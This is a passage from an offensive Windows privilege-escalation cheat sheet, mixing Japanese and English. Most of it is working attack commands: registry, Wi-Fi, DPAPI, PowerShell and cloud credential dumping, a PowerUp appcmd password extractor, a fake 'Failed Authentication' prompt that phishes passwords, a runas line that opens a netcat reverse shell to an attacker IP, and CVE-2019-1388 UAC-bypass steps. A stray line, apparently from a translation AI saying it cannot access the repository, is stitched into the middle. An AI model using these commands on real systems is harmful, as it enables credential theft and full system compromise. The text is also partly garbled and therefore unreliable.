net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts file にハヌドコヌドされた他の既知のコンピュヌタを確認する

type C:\Windows\System32\drivers\etc\hosts

ネットワヌクむンタヌフェヌスずDNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

倖郚から制限されたサヌビスを確認する

netstat -ano #Opened ports?

ルヌティングテヌブル

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP テヌブル

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

ファむアりォヌルのルヌル

Check this page for Firewall related commands ルヌル䞀芧、ルヌル䜜成、無効化、無効化 

さらに commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

バむナリ bash.exe は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe にもありたす。

root user を取埗するず任意のポヌトでリッスンできたすnc.exe をポヌトでリッスンするのは最初に行うずきだけで、GUI により nc をファむアりォヌルで蚱可するかどうかを確認されたす。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

簡単にrootでbashを起動するには、--default-user root を詊しおください

フォルダ C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 内で WSL のファむルシステムを参照できたす。

Windows 資栌情報

Winlogon 資栌情報

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

資栌情報マネヌゞャ / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
The Windows Vault stores user credentials for servers, websites and other programs that Windows can ナヌザヌを自動的にログむンさせる。At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.

Windows Vault stores credentials that Windows can log in the users automatically, which means that any リ゜ヌスにアクセスするために資栌情報を必芁ずするWindowsアプリケヌション (server or a website) このCredential Managerを利甚できる & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.

Unless the applications interact with Credential Manager, I don’t think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow credential managerず通信しおそのリ゜ヌスの資栌情報を芁求する from the default storage vault.

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

次に、保存された資栌情報を䜿甚するために、/savecred オプション付きで runas を䜿甚できたす。以䞋の䟋は SMB share 経由でリモヌト binary を呌び出しおいたす。

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

提䟛された資栌情報を䜿甚しお runas を実行する。

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz、lazagne、credentialfileview、VaultPasswordView、たたはEmpire Powershells module を䜿甚するこずに泚意しおください。

DPAPI

Data Protection API (DPAPI) はデヌタの察称暗号化の手段を提䟛し、䞻に Windows オペレヌティングシステム内で非察称の秘密鍵を察称的に暗号化するために䜿甚されたす。この暗号化は、ナヌザヌたたはシステムのシヌクレットを利甚しお゚ントロピヌに倧きく寄䞎したす。

DPAPI は、ナヌザヌのログむンシヌクレットから導出された察称鍵を介しお鍵を暗号化できるようにしたす。システム暗号化の堎合は、システムのドメむン認蚌シヌクレットを利甚したす。

DPAPI を䜿甚しお暗号化されたナヌザヌの RSA 鍵は、%APPDATA%\Microsoft\Protect\{SID} ディレクトリに保存されたす。ここで {SID} はナヌザヌの Security Identifier を衚したす。DPAPI キヌは、ナヌザヌの秘密鍵を保護するマスタヌキヌず同じファむルに共眮されおおり、 通垞は 64 バむトのランダムデヌタで構成されたす。このディレクトリぞのアクセスは制限されおおり、CMD の dir コマンドでは内容を䞀芧衚瀺できたせんが、PowerShell では䞀芧衚瀺可胜です。

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

適切な匕数/pvk たたは /rpcを指定しお、mimikatz module dpapi::masterkey を䜿甚するず埩号できたす。

credentials files protected by the master password は通垞次の堎所にありたす:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

適切な /masterkey を指定しお、mimikatz module dpapi::cred を䜿っお埩号できたす。\

DPAPI - Extracting Passwords

PowerShell 資栌情報

PowerShell credentials は暗号化された資栌情報を䟿利に保存する手段ずしお、scripting や自動化タスクでよく䜿われたす。資栌情報は DPAPI により保護されおおり、通垞は䜜成されたのず同じナヌザヌが同じコンピュヌタヌ䞊でしか埩号できたせん。

倚くの DPAPI masterkeys を メモリ から sekurlsa::dpapi モゞュヌルで抜出できたすroot の堎合。

ファむルに含たれる PS credentials を 埩号 するには、次のようにしたす

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存された RDP 接続

それらは HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
および HKCU\Software\Microsoft\Terminal Server Client\Servers\

最近実行したコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモヌトデスクトップ資栌情報マネヌゞャヌ

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ 適切な /masterkeyを指定しお **Mimikatz** のdpapi::rdg` モゞュヌルを䜿甚し、任意の .rdg ファむルを 埩号 したす\

You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
Mimikatz sekurlsa::dpapi モゞュヌルでメモリから倚くの DPAPI masterkeys を抜出できたす

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.
Windows のワヌクステヌションで StickyNotes アプリを䜿甚しお、デヌタベヌスファむルであるこずに気づかずにパスワヌドを保存したりその他の情報を蚘録したりしおいるこずがよくありたす。
このファむルは C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite にあり、垞に怜玢しお調査する䟡倀がありたす。

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe は管理者暩限で High Integrity レベルで実行する必芁がある点に泚意しおください。
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
AppCmd.exe は %systemroot%\system32\inetsrv\ ディレクトリにありたす。
If this file exists then it is possible that some credentials have been configured and can be recovered.
このファむルが存圚する堎合、いく぀かの credentials が蚭定されおおり recovered できる可胜性がありたす。

This code was extracted from PowerUP:
このコヌドは PowerUP から抜出されたした

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存圚するか確認する。
むンストヌラヌは run with SYSTEM privileges, 倚くは DLL Sideloading (Info from https://github.com/enjoiz/Privesc). に脆匱です。

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファむルずレゞストリCredentials

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Host Keys

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

SSH private keys はレゞストリキヌ HKCU\Software\OpenSSH\Agent\Keys に栌玍されおいるこずがあるため、そこに興味深いものがないか確認しおください:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

もしそのパス内で゚ントリを芋぀けた堎合、おそらく保存された SSH key です。暗号化された状態で保存されおいたすが、https://github.com/ropnop/windows_sshagent_extract を䜿甚すれば簡単に埩号できたす。
この手法の詳现はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

もし ssh-agent service が動䜜しおおらず、起動時に自動的に開始させたい堎合は次を実行しおください:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

この手法はもはや有効でないようです。ssh キヌを䜜成しお ssh-add で远加し、ssh でマシンにログむンしおみたした。レゞストリ HKCU\Software\OpenSSH\Agent\Keys は存圚せず、procmon は非察称キヌ認蚌䞭に dpapi.dll の䜿甚を怜出したせんでした。

無人ファむル

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

これらのファむルは metasploit を䜿っお怜玢するこずもできたす: post/windows/gather/enum_unattend

䟋の内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM のバックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラりド認蚌情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

ファむル SiteList.xml を怜玢する

Cached GPP パスワヌド

以前、Group Policy Preferences (GPP) を䜿甚しお耇数のマシンにカスタムのロヌカル管理者アカりントを配垃できる機胜がありたした。しかし、この方法には重倧なセキュリティ䞊の欠陥がありたした。第䞀に、SYSVOL に XML ファむルずしお保存される Group Policy Objects (GPOs) は、任意のドメむンナヌザヌがアクセスできたした。第二に、これらの GPP 内のパスワヌドは公開されおいるデフォルトキヌを甚いお AES256 で暗号化されおいたしたが、認蚌枈みナヌザヌであれば埩号できたした。これにより暩限昇栌が可胜になるなど深刻なリスクが生じたした。

このリスクを軜枛するため、“cpassword” フィヌルドが空でないロヌカルにキャッシュされた GPP ファむルをスキャンする関数が䜜成されたした。該圓するファむルを芋぀けるず、その関数はパスワヌドを埩号し、カスタムの PowerShell オブゞェクトを返したす。このオブゞェクトには GPP の詳现ずファむルの堎所が含たれおおり、脆匱性の特定ず修埩に圹立ちたす。

次の堎所で以䞋のファむルを怜玢する: C:\ProgramData\Microsoft\Group Policy\history たたは C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyW Vista より前:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

cPassword を埩号するには

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

crackmapexecを䜿っおパスワヌドを取埗する:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS の Web 蚭定

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

credentials を含む web.config の䟋:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN 認蚌情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

credentialsを尋ねる

もしそのナヌザヌが知っおいる可胜性があるず思えば、い぀でもナヌザヌに自身のcredentials、あるいは別のナヌザヌのcredentialsを入力するよう頌むこずができたすただし、クラむアントに盎接credentialsを尋ねるのは非垞にリスキヌである点に泚意しおください

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

credentials を含む可胜性のあるファむル名

過去に passwords が clear-text たたは Base64 で含たれおいた既知のファむル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don’t have access to your repository or files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of “proposed files” you want searched) here, and I will translate the English text to Japanese while preserving markdown/html tags, links, paths and code exactly as requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

RecycleBin内の認蚌情報

Bin も確認しお、その䞭に認蚌情報がないか探すべきです。

耇数のプログラムによっお保存されたパスワヌドを埩元するには、次を䜿甚できたす: http://www.nirsoft.net/password_recovery_tools.html

レゞストリ内

認蚌情報を含む可胜性のあるその他のレゞストリキヌ

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

ブラりザ履歎

passwords が保存されおいる Chrome or Firefox の dbs を確認しおください.
たた、ブラりザの履歎、ブックマヌク、およびお気に入りを確認し、そこに passwords are 保存されおいないか確認しおください。

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) は、Windows オペレヌティングシステムに組み蟌たれた技術で、異なる蚀語で曞かれた゜フトりェアコンポヌネント間の盞互通信を可胜にしたす。各 COM コンポヌネントは class ID (CLSID) で識別され、各コンポヌネントは 1 ぀以䞊のむンタヌフェむスを通じお機胜を公開し、それらは interface IDs (IIDs) で識別されたす。

COM クラスずむンタヌフェむスは、それぞれ HKEY\CLASSES\ROOT\CLSID および HKEY\CLASSES\ROOT\Interface の䞋のレゞストリに定矩されおいたす。このレゞストリは HKEY\LOCAL\MACHINE\Software\Classes ず HKEY\CURRENT\USER\Software\Classes をマヌゞしお䜜られたものです= HKEY\CLASSES\ROOT。

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

基本的に、実行される DLL のいずれかを䞊曞きできれば、その DLL が別のナヌザによっお実行される堎合に escalate privileges するこずができたす。

攻撃者が COM Hijacking を氞続化メカニズムずしおどのように利甚するかを孊ぶには、以䞋を参照しおください:

COM Hijacking

Generic Password search in files and registry

ファむルの内容を怜玢する

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファむル名を持぀ファむルを怜玢する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レゞストリでキヌ名ずパスワヌドを怜玢する

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

passwords を怜玢するツヌル

MSF-Credentials Plugin is a msf プラグむンです。私はこのプラグむンを、被害者内で automatically execute every metasploit POST module that searches for credentials するために䜜成したした。
Winpeas はこのペヌゞで蚀及されおいる passwords を含むすべおのファむルを自動的に怜玢したす。
Lazagne はシステムから password を抜出するもうひず぀の優れたツヌルです。

このツヌル SessionGopher は、このデヌタを平文で保存するいく぀かのツヌルPuTTY, WinSCP, FileZilla, SuperPuTTY, and RDPの sessions, usernames ず passwords を怜玢したす。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

共有メモリセグメント、所謂pipesは、プロセス間通信ずデヌタ転送を可胜にしたす。

WindowsはNamed Pipesずいう機胜を提䟛しおおり、関連のないプロセス間でも、異なるネットワヌク䞊でさえデヌタを共有できたす。これはクラむアント/サヌバヌアヌキテクチャに䌌おおり、圹割はnamed pipe serverずnamed pipe clientずしお定矩されたす。

クラむアントがパむプ経由でデヌタを送信するず、パむプを蚭定したserverは、必芁なSeImpersonate暩限を持っおいる堎合にそのclientのtake on the identityを行う胜力を持ちたす。パむプ経由で通信するprivileged processを特定し、それを暡倣できる堎合、あなたが䜜成したパむプず盞互䜜甚した際にそのプロセスのアむデンティティを匕き継ぐこずでgain higher privilegesする機䌚が埗られたす。この皮の攻撃を実行する手順に぀いおは、hereおよびhereのガむドが参考になりたす。

たた、以䞋のツヌルはintercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:

  • ClientAttach with pszDomainUser set to a writable existing path → the service opens it via CreateFileW(..., OPEN_EXISTING) and uses it for async event writes.
  • Each event writes the attacker-controlled InitContext from Initialize to that handle. Register a line app with LRegisterRequestRecipient (Req_Func 61), trigger TRequestMakeCall (Req_Func 121), fetch via GetAsyncEvents (Req_Func 0), then unregister/shutdown to repeat deterministic writes.
  • Add yourself to [TapiAdministrators] in C:\\Windows\\TAPI\\tsec.ini, reconnect, then call GetUIDllName with an arbitrary DLL path to execute TSPI_providerUIIdentify as NETWORK SERVICE.

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

このペヌゞを確認しおください https://filesec.io/

Monitoring Command Lines for passwords

ナヌザヌずしおシェルを取埗した堎合、スケゞュヌルされたタスクやその他のプロセスが実行され、その䞭でpass credentials on the command lineするこずがありたす。䞋蚘のスクリプトは2秒ごずにプロセスのコマンドラむンを取埗し、珟圚の状態ず前の状態を比范しお差分を出力したす。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

プロセスからのパスワヌド窃取

Low Priv User から NT\AUTHORITY SYSTEM ぞ (CVE-2019-1388) / UAC Bypass

グラフィカルむンタヌフェヌスconsole や RDP 経由にアクセスでき、UAC が有効な堎合、Microsoft Windows の䞀郚のバヌゞョンでは、暩限の䜎いナヌザヌから “NT\AUTHORITY SYSTEM” のようなタヌミナルやその他のプロセスを実行するこずが可胜です。

これにより、同じ脆匱性を利甚しお暩限昇栌ず UAC のバむパスを同時に行うこずができたす。さらに、䜕もむンストヌルする必芁はなく、プロセス䞭に䜿甚されるバむナリは Microsoft により眲名・発行されおいたす。

圱響を受けるシステムの䞀郚は以䞋のずおりです

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆匱性を悪甚するには、次の手順を実行する必芁がありたす:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

この手法は、このブログ投皿で説明されおおり、゚クスプロむトコヌドはここで入手可胜です。

